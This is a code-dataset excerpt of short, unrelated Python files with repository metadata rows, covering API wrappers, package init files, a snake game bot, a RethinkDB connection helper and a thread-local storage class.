| 33.636364 | 74 | 0.805405 | 46 | 370 | 6.413043 | 0.478261 | 0.142373 | 0.108475 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.110811 | 370 | 10 | 75 | 37 | 0.896657 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.428571 | 0.142857 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 3 |
41f51fdc9a71d64ddec01f1bc88fca3ad12d55cf | 1,022 | py | Python | allegroapi/entities/aftersalesserviceconditions.py | OceanFireSoftware/python-allegro | 112b0f2570fcf3840645dd62f6f7150956e56f9c | [
"MIT"
] | 17 | 2018-10-29T11:41:54.000Z | 2022-03-26T10:17:36.000Z | allegroapi/entities/aftersalesserviceconditions.py | OceanFireSoftware/python-allegro | 112b0f2570fcf3840645dd62f6f7150956e56f9c | [
"MIT"
] | 4 | 2018-11-12T14:41:23.000Z | 2020-06-24T13:22:27.000Z | allegroapi/entities/aftersalesserviceconditions.py | OceanFireSoftware/python-allegro | 112b0f2570fcf3840645dd62f6f7150956e56f9c | [
"MIT"
] | 8 | 2018-11-07T00:04:32.000Z | 2021-11-01T11:06:13.000Z | # coding=utf-8
"""
The After Sale Service Conditions endpoint
Documentation: https://developer.allegro.pl/documentation/#/
Schema:
"""
from __future__ import unicode_literals
from ..base import BaseApi
from .aftersalesserviceconditionreturnpolicies import AfterSaleServiceConditionReturnPolicies
from .aftersalesserviceconditionsimpliedwarranties import AfterSaleServiceConditionImpliedWarranties
from .aftersalesserviceconditionswarranties import AfterSaleServiceConditionWarranties
class AfterSaleServiceConditions(BaseApi):
"""
Base Endpoint
"""
def __init__(self, *args, **kwargs):
"""
Initialize the endpoint
"""
super(AfterSaleServiceConditions, self).__init__(*args, **kwargs)
self.endpoint = 'after-sales-service-conditions'
self.return_policies = AfterSaleServiceConditionReturnPolicies(self)
self.implied_warranties = AfterSaleServiceConditionImpliedWarranties(self)
self.warranties = AfterSaleServiceConditionWarranties(self)
| 34.066667 | 100 | 0.779843 | 76 | 1,022 | 10.289474 | 0.552632 | 0.043478 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001144 | 0.144814 | 1,022 | 29 | 101 | 35.241379 | 0.893593 | 0.161448 | 0 | 0 | 0 | 0 | 0.036991 | 0.036991 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.416667 | 0 | 0.583333 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
41f894f092cd6bbf807db69e5558917ec8c1411a | 277 | py | Python | second.py | cplanck/remote-playground | 75fd5de176cee4a31c28e06e8f030c25dd1e5106 | [
"MIT"
] | null | null | null | second.py | cplanck/remote-playground | 75fd5de176cee4a31c28e06e8f030c25dd1e5106 | [
"MIT"
] | null | null | null | second.py | cplanck/remote-playground | 75fd5de176cee4a31c28e06e8f030c25dd1e5106 | [
"MIT"
] | null | null | null | print('this is the first line of second.py')
for x in range(20):
print(x)
print('this is the chunk of code added to the fourth branch')
print('Im editing this file in GitHub to see if fetch finds it')
print('adding this code to push to the main on the remote repository') | 34.625 | 70 | 0.732852 | 54 | 277 | 3.759259 | 0.648148 | 0.08867 | 0.108374 | 0.137931 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008889 | 0.187726 | 277 | 8 | 70 | 34.625 | 0.893333 | 0 | 0 | 0 | 0 | 0 | 0.730216 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.833333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
41fcafa9cfe3c6364437bc4f87db3975572a073b | 395 | py | Python | findastring.py | Vicfred/hackerrankpython | c1f12ba006af67fede23885eda384f7d4f70eaf4 | [
"BSD-3-Clause"
] | 1 | 2019-10-09T06:35:56.000Z | 2019-10-09T06:35:56.000Z | findastring.py | Vicfred/hackerrankpython | c1f12ba006af67fede23885eda384f7d4f70eaf4 | [
"BSD-3-Clause"
] | null | null | null | findastring.py | Vicfred/hackerrankpython | c1f12ba006af67fede23885eda384f7d4f70eaf4 | [
"BSD-3-Clause"
] | null | null | null | def count_substring(string, sub_string):
k = len(sub_string)
ans = 0
for i in range(len(string)):
if i+k > len(string):
break
if sub_string == string[i:i+k]:
ans += 1
return ans
if __name__ == '__main__':
string = input().strip()
sub_string = input().strip()
count = count_substring(string, sub_string)
print(count)
| 21.944444 | 47 | 0.567089 | 53 | 395 | 3.943396 | 0.415094 | 0.215311 | 0.191388 | 0.220096 | 0.277512 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007299 | 0.306329 | 395 | 17 | 48 | 23.235294 | 0.755474 | 0 | 0 | 0 | 0 | 0 | 0.020305 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0 | 0 | 0.142857 | 0.071429 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
41fd165db6c8a84c540b7e600fd39047e08cbea8 | 164 | py | Python | Programming_warmup.py | Databackbone/Automate_the_boring_stuff_with_python | 9bdd776a5fbcd01383eccd86d03743fbcfdf8d4d | [
"MIT"
] | null | null | null | Programming_warmup.py | Databackbone/Automate_the_boring_stuff_with_python | 9bdd776a5fbcd01383eccd86d03743fbcfdf8d4d | [
"MIT"
] | null | null | null | Programming_warmup.py | Databackbone/Automate_the_boring_stuff_with_python | 9bdd776a5fbcd01383eccd86d03743fbcfdf8d4d | [
"MIT"
] | null | null | null | print("Hello World")
my_name = input("Whats your name? ")
print("Hello " + my_name)
print('Did you know that your name is ' + str(len(my_name)) + ' letters long!')
| 32.8 | 79 | 0.670732 | 27 | 164 | 3.962963 | 0.62963 | 0.168224 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.158537 | 164 | 4 | 80 | 41 | 0.775362 | 0 | 0 | 0 | 0 | 0 | 0.481707 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.75 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
41fd6b1df7ad49effb746320550c4a72ebdd85f9 | 600 | py | Python | plotplayer/__init__.py | Jman420/plotplayer | 3a224fc38c2825c4166e7534970a792f0e96bd84 | [
"Apache-2.0"
] | null | null | null | plotplayer/__init__.py | Jman420/plotplayer | 3a224fc38c2825c4166e7534970a792f0e96bd84 | [
"Apache-2.0"
] | 7 | 2018-06-20T19:44:45.000Z | 2022-03-11T23:18:57.000Z | plotplayer/__init__.py | Jman420/plotplayer | 3a224fc38c2825c4166e7534970a792f0e96bd84 | [
"Apache-2.0"
] | 2 | 2018-04-08T14:36:13.000Z | 2018-06-20T19:41:42.000Z | """
Root PlotPlayer Package contains all the data structures, modules and classes used by the
PlotPlayer project.
Public Modules:
* plotplayer - Contains the PlotPlayer interface and functionality; this is the most
common entry point for most usages
Subpackages:
* helpers - Contains various modules containing miscellaneous helper methods
* managers - Contains modules related to managing the plotplayer functionality
* validators - Contains modules related to input and type validation
"""
# Prevent usage of backends other than Tkinter
import matplotlib
matplotlib.use("TkAgg")
| 30 | 89 | 0.788333 | 74 | 600 | 6.391892 | 0.689189 | 0.082452 | 0.093023 | 0.10148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.17 | 600 | 19 | 90 | 31.578947 | 0.949799 | 0.908333 | 0 | 0 | 0 | 0 | 0.106383 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
51060c7c0ec077094d06da205e431f242f2cef7b | 636 | py | Python | app/graham/training-snakes-master/app/snakes/unused/snake_2.py | CallumBrown743/starter-snake-python | 79495dcb5f84fca1d67b563380f3b9a1e961db02 | [
"MIT"
] | null | null | null | app/graham/training-snakes-master/app/snakes/unused/snake_2.py | CallumBrown743/starter-snake-python | 79495dcb5f84fca1d67b563380f3b9a1e961db02 | [
"MIT"
] | null | null | null | app/graham/training-snakes-master/app/snakes/unused/snake_2.py | CallumBrown743/starter-snake-python | 79495dcb5f84fca1d67b563380f3b9a1e961db02 | [
"MIT"
] | 1 | 2019-07-10T18:12:25.000Z | 2019-07-10T18:12:25.000Z | from utils.vector import up, down, left, right, noop
from .base_snake import BaseSnake
class Snake2(BaseSnake):
def move(self, gamestate):
current_vector = gamestate.me.current_direction
if current_vector == noop:
return up
return gamestate.first_empty_direction(
gamestate.me.head,
[current_vector, up, down, left, right],
up
)
def name(self):
return "Training Snake 2"
def color(self):
return "#05f299"
def head_url(self):
return ""
def taunt(self):
return ""
def end(self):
pass
| 19.272727 | 55 | 0.580189 | 73 | 636 | 4.945205 | 0.479452 | 0.110803 | 0.055402 | 0.083102 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016471 | 0.331761 | 636 | 32 | 56 | 19.875 | 0.832941 | 0 | 0 | 0.090909 | 0 | 0 | 0.036164 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0.045455 | 0.090909 | 0.181818 | 0.681818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
5107eafd84fb53ab4ae640dc672eec0eebc624d4 | 304 | py | Python | receipt_parser/__init__.py | slgero/check_parser | 7419da2d6ce99a7a9d7b666072b138059ad856d4 | [
"MIT"
] | 48 | 2020-08-06T11:13:19.000Z | 2022-02-27T10:12:09.000Z | receipt_parser/__init__.py | slgero/check_parser | 7419da2d6ce99a7a9d7b666072b138059ad856d4 | [
"MIT"
] | 3 | 2020-08-11T21:00:11.000Z | 2020-09-06T08:46:59.000Z | receipt_parser/__init__.py | slgero/check_parser | 7419da2d6ce99a7a9d7b666072b138059ad856d4 | [
"MIT"
] | 5 | 2020-08-06T11:34:05.000Z | 2021-08-21T12:46:45.000Z | """A package which allow parsing Reussian receipts."""
__version__ = "0.0.28"
__license__ = "MIT"
from .receipt_parser import RuleBased # type: ignore
from .finder import Finder # type: ignore
from .normalizer import Normalizer # type: ignore
from .cat_model import PredictCategory # type: ignore
| 27.636364 | 54 | 0.753289 | 39 | 304 | 5.615385 | 0.615385 | 0.182648 | 0.191781 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015625 | 0.157895 | 304 | 10 | 55 | 30.4 | 0.839844 | 0.332237 | 0 | 0 | 0 | 0 | 0.046392 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
510a9fe0a0e3d149e12c9abb482ed45935c45cee | 10 | py | Python | Commons/Variables.py | CT83/PyDashBoard | 4bd5437660fbae319620e845a6cd4c34f75bea5c | [
"Apache-2.0"
] | null | null | null | Commons/Variables.py | CT83/PyDashBoard | 4bd5437660fbae319620e845a6cd4c34f75bea5c | [
"Apache-2.0"
] | null | null | null | Commons/Variables.py | CT83/PyDashBoard | 4bd5437660fbae319620e845a6cd4c34f75bea5c | [
"Apache-2.0"
] | null | null | null | RESP = []
| 5 | 9 | 0.4 | 1 | 10 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.3 | 10 | 1 | 10 | 10 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
511bec133fc272de551e34b13120c9365863cf42 | 2,586 | py | Python | src/pyramidbridge/rethinkdb/connection.py | sawdog/pyramidbridge | 1ecc0721c79287093d091d8a717d78b6a8a05814 | [
"MIT"
] | 1 | 2019-08-26T00:32:03.000Z | 2019-08-26T00:32:03.000Z | src/pyramidbridge/rethinkdb/connection.py | sawdog/pyramidbridge | 1ecc0721c79287093d091d8a717d78b6a8a05814 | [
"MIT"
] | null | null | null | src/pyramidbridge/rethinkdb/connection.py | sawdog/pyramidbridge | 1ecc0721c79287093d091d8a717d78b6a8a05814 | [
"MIT"
] | null | null | null | """rethinkDB connection"""
import rethinkdb as r
class Connection(object):
"""RethinkDB Connection handler"""
__connection__ = None
__db__ = None
__host__ = None
__port__ = None
__user__ = None
__password__ = None
__session__ = None
__table__ = None
def __init__(self,
host,
port,
user,
password,
db,
**kw):
self.__db__ = db
self.__host__ = host
self.__password__ = password
self.__port__ = port
self.__user__ = user
self.__table__ = kw.get('table')
self._setup_connection(**kw)
def _setup_connection(self, **kw):
if self.__connection__ is None:
self.__connection__ = r.connect(host=self.host,
port=self.port,
user=self.user,
password=self.password,
db=self.db,
**kw)
@property
def db(self):
return self.__db__
@property
def host(self):
return self.__host__
@property
def password(self):
return self.__password__
@property
def port(self):
return self.__port__
@property
def session(self):
"""get the connection to the database"""
if self.__connection__ == None:
self._setup_connection()
return self.__connection__
@property
def table(self):
return self.__table__
@property
def user(self):
return self.__user__
def close(self):
if self.__session__:
self.session.close()
def remove(self):
"""close and remove the connection"""
self.close()
self.__connection__ = None
def commit(self):
"""call run on the db"""
return
def open(self):
"""
close the connection if it is open
reopen a new connection to the DB"""
self.session.reconnect()
@property
def connect(self):
"""make the connection; create a connection if it does not
exist.
"""
self._setup_connection()
@property
def created(self):
return r.now()
modified = created
@property
def model(self):
"""create a model of the record to store in the database
"""
return self.__model__
@property
def r(self):
return r
| 22.884956 | 67 | 0.515468 | 255 | 2,586 | 4.756863 | 0.219608 | 0.099753 | 0.06925 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.400619 | 2,586 | 112 | 68 | 23.089286 | 0.782581 | 0.12761 | 0 | 0.166667 | 0 | 0 | 0.002299 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217949 | false | 0.076923 | 0.012821 | 0.102564 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 3 |
513759d13dd5462b1537f2db4b0063b913418839 | 285 | py | Python | flask_restly/exception/too_many_requests.py | gorzechowski/flask-restly | 54f28b66f35b0ab12ba4ee37bcd6d39aaf24111a | [
"MIT"
] | 16 | 2018-10-16T20:07:02.000Z | 2021-01-07T13:01:05.000Z | flask_restly/exception/too_many_requests.py | gorzechowski/flask-restly | 54f28b66f35b0ab12ba4ee37bcd6d39aaf24111a | [
"MIT"
] | 16 | 2018-10-16T14:09:55.000Z | 2020-01-16T07:52:22.000Z | flask_restly/exception/too_many_requests.py | gorzechowski/flask-restly | 54f28b66f35b0ab12ba4ee37bcd6d39aaf24111a | [
"MIT"
] | 1 | 2019-04-17T03:20:41.000Z | 2019-04-17T03:20:41.000Z | from werkzeug.exceptions import TooManyRequests as WerkzeugTooManyRequests
class TooManyRequests(WerkzeugTooManyRequests):
description = "Too many requests"
def __init__(self, description=None):
if description is not None:
self.description = description
| 28.5 | 74 | 0.754386 | 27 | 285 | 7.814815 | 0.703704 | 0.14218 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192982 | 285 | 9 | 75 | 31.666667 | 0.917391 | 0 | 0 | 0 | 0 | 0 | 0.059649 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
514c76cd5cdbcebe4713f627287bda1e28cfc687 | 286 | py | Python | has_keyword_extractor/hwo.py | 360medics/has-keyword-extractor | 054555f91483d022d49430f53de6efc61971db5a | [
"Apache-2.0"
] | null | null | null | has_keyword_extractor/hwo.py | 360medics/has-keyword-extractor | 054555f91483d022d49430f53de6efc61971db5a | [
"Apache-2.0"
] | null | null | null | has_keyword_extractor/hwo.py | 360medics/has-keyword-extractor | 054555f91483d022d49430f53de6efc61971db5a | [
"Apache-2.0"
] | null | null | null | from typing import Dict
def compute_hwo(word: str, monogram_frequency: Dict, cumul_monogram: Dict):
if word not in monogram_frequency:
return -100
key_max = max(list(cumul_monogram.keys()))
return cumul_monogram[monogram_frequency[word]] / cumul_monogram[key_max]
| 31.777778 | 77 | 0.748252 | 40 | 286 | 5.1 | 0.525 | 0.254902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012552 | 0.164336 | 286 | 8 | 78 | 35.75 | 0.841004 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
515ae96a561a1c35551edb67a4d8a1065b12af4d | 538 | py | Python | morphablegraphs/construction/preprocessing/__init__.py | dfki-asr/morphablegraphs | 02c77aab72aa4b58f4067c720f5d124f0be3ea80 | [
"MIT"
] | 5 | 2020-03-03T21:07:01.000Z | 2021-05-12T16:59:28.000Z | morphablegraphs/construction/preprocessing/__init__.py | dfki-asr/morphablegraphs | 02c77aab72aa4b58f4067c720f5d124f0be3ea80 | [
"MIT"
] | null | null | null | morphablegraphs/construction/preprocessing/__init__.py | dfki-asr/morphablegraphs | 02c77aab72aa4b58f4067c720f5d124f0be3ea80 | [
"MIT"
] | 1 | 2020-07-20T06:57:08.000Z | 2020-07-20T06:57:08.000Z | LEN_ROOT = 3
LEN_QUATERNION = 4
LEN_EULER = 3
from .bitvector import gen_foot_contact_annotation
from .semantic_annotation import gen_walk_annotation, gen_synthetic_semantic_annotation_pick_and_place, \
gen_synthetic_semantic_annotation_for_screw, \
gen_synthetic_semantic_annotation_for_transfer, \
create_low_level_semantic_annotation
from .motion_normalization import MotionNormalization
from .motion_dtw import MotionDynamicTimeWarping | 53.8 | 105 | 0.732342 | 57 | 538 | 6.368421 | 0.526316 | 0.247934 | 0.165289 | 0.247934 | 0.181818 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007353 | 0.241636 | 538 | 10 | 106 | 53.8 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
515f039ce8de13a1a9168df8be2a64c24d2921e7 | 183 | py | Python | setup.py | Giwasawa/dcdevaluation | 99de135829fb7247199465bb15d7851fb54aea76 | [
"MIT"
] | null | null | null | setup.py | Giwasawa/dcdevaluation | 99de135829fb7247199465bb15d7851fb54aea76 | [
"MIT"
] | 1 | 2020-12-22T19:20:29.000Z | 2020-12-22T19:20:29.000Z | setup.py | Giwasawa/dcdevaluation | 99de135829fb7247199465bb15d7851fb54aea76 | [
"MIT"
] | 1 | 2021-02-25T19:58:36.000Z | 2021-02-25T19:58:36.000Z | from setuptools import setup
setup(name = 'dcdevaluation',
version = '0.8.0' ,
packages = ['dcdevaluation'] ,
zip_safe = False )
| 26.142857 | 40 | 0.497268 | 16 | 183 | 5.625 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027273 | 0.398907 | 183 | 6 | 41 | 30.5 | 0.790909 | 0 | 0 | 0 | 0 | 0 | 0.169399 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.2 | 0 | 0.2 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
5a93a24f1d966360aa485fed2cc52caa6f59d647 | 144 | py | Python | changelog/constants.py | automation-liberation/deployment-helper | 9a048e03a8c9648f37f8936065eaacfa60c6c5ca | [
"Apache-2.0"
] | null | null | null | changelog/constants.py | automation-liberation/deployment-helper | 9a048e03a8c9648f37f8936065eaacfa60c6c5ca | [
"Apache-2.0"
] | null | null | null | changelog/constants.py | automation-liberation/deployment-helper | 9a048e03a8c9648f37f8936065eaacfa60c6c5ca | [
"Apache-2.0"
] | null | null | null | from enum import Enum
class ChangelogEntryEnum(Enum):
ADDED = 'Added'
CHANGED = 'Changed'
FIXED = 'Fixed'
REMOVED = 'Removed'
| 16 | 31 | 0.645833 | 15 | 144 | 6.2 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 144 | 8 | 32 | 18 | 0.861111 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
5ab4fc794c36d5f0a1b8b67b0fd3261bb0d2784b | 285 | py | Python | __init__.py | HAL-42/AlchemyCat | ca924755ff48e2ff74543bb0e446376eb2b1f150 | [
"Apache-2.0"
] | 8 | 2020-01-08T19:42:01.000Z | 2021-12-28T08:30:56.000Z | __init__.py | HAL-42/AlchemyCat | ca924755ff48e2ff74543bb0e446376eb2b1f150 | [
"Apache-2.0"
] | 2 | 2020-09-10T12:22:57.000Z | 2022-02-17T05:21:22.000Z | __init__.py | HAL-42/AlchemyCat | ca924755ff48e2ff74543bb0e446376eb2b1f150 | [
"Apache-2.0"
] | 1 | 2021-05-12T01:50:27.000Z | 2021-05-12T01:50:27.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@author: Xiaobo Yang
@contact: hal_42@zju.edu.cn
@software: PyCharm
@file: __init__.py
@time: 2020/1/8 0:15
@desc:
"""
from alchemy_cat.acplot.utils import CHW2HWC, HWC2CHW, RGB2BGR, BGR2RGB
from alchemy_cat.py_tools import quick_init | 21.923077 | 71 | 0.726316 | 46 | 285 | 4.304348 | 0.847826 | 0.111111 | 0.141414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063492 | 0.115789 | 285 | 13 | 72 | 21.923077 | 0.722222 | 0.550877 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
5ad7bdb023ce3f4bae104ac618053c302491c623 | 135 | py | Python | sa/profiles/Harmonic/bNSG9000/profile.py | prorevizor/noc | 37e44b8afc64318b10699c06a1138eee9e7d6a4e | [
"BSD-3-Clause"
] | 84 | 2017-10-22T11:01:39.000Z | 2022-02-27T03:43:48.000Z | sa/profiles/Harmonic/bNSG9000/profile.py | prorevizor/noc | 37e44b8afc64318b10699c06a1138eee9e7d6a4e | [
"BSD-3-Clause"
] | 22 | 2017-12-11T07:21:56.000Z | 2021-09-23T02:53:50.000Z | sa/profiles/Harmonic/bNSG9000/profile.py | prorevizor/noc | 37e44b8afc64318b10699c06a1138eee9e7d6a4e | [
"BSD-3-Clause"
] | 23 | 2017-12-06T06:59:52.000Z | 2022-02-24T00:02:25.000Z | __author__ = "fedoseev.ns"
from noc.core.profile.base import BaseProfile
class Profile(BaseProfile):
name = "Harmonic.bNSG9000"
| 16.875 | 45 | 0.755556 | 16 | 135 | 6.125 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 0.140741 | 135 | 7 | 46 | 19.285714 | 0.810345 | 0 | 0 | 0 | 0 | 0 | 0.207407 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
5afa49d75904a78bfb9dd63e2ba071f66cdc95fa | 1,987 | py | Python | store.py | yinziyan1206/nado-db | 85c3008bc339cc36c7d7803ac74b8df7b9eceddd | [
"MIT"
] | 1 | 2021-05-22T16:48:18.000Z | 2021-05-22T16:48:18.000Z | store.py | yinziyan1206/nado_db | 85c3008bc339cc36c7d7803ac74b8df7b9eceddd | [
"MIT"
] | null | null | null | store.py | yinziyan1206/nado_db | 85c3008bc339cc36c7d7803ac74b8df7b9eceddd | [
"MIT"
] | null | null | null | __author__ = 'ziyan.yin'
from threading import local
class Store(local):
"""
Thread local storage.
>>> d = Store()
>>> d.x = 1
>>> d.x
1
>>> import threading
>>> def f(): d.x = 2
...
>>> t = threading.Thread(target=f)
>>> t.start()
>>> t.join()
>>> d.x
1
"""
_instances = set()
def __init__(self):
Store._instances.add(self)
def __del__(self):
Store._instances.remove(self)
def __hash__(self):
return id(self)
@staticmethod
def clear_all():
"""Clears all ThreadedDict instances.
"""
for t in list(Store._instances):
t.clear()
clear_all = staticmethod(clear_all)
# Define all these methods to more or less fully emulate dict -- attribute access
# is built into threading.local.
def __getitem__(self, key):
return self.__dict__[key]
def __setitem__(self, key, value):
self.__dict__[key] = value
def __delitem__(self, key):
del self.__dict__[key]
def __contains__(self, key):
return key in self.__dict__
has_key = __contains__
def clear(self):
self.__dict__.clear()
def copy(self):
return self.__dict__.copy()
def get(self, key, default=None):
return self.__dict__.get(key, default)
def items(self):
return self.__dict__.items()
def keys(self):
return self.__dict__.keys()
def values(self):
return self.__dict__.values()
def pop(self, key, *args):
return self.__dict__.pop(key, *args)
def popitem(self):
return self.__dict__.popitem()
def setdefault(self, key, default=None):
return self.__dict__.setdefault(key, default)
def update(self, *args, **kwargs):
self.__dict__.update(*args, **kwargs)
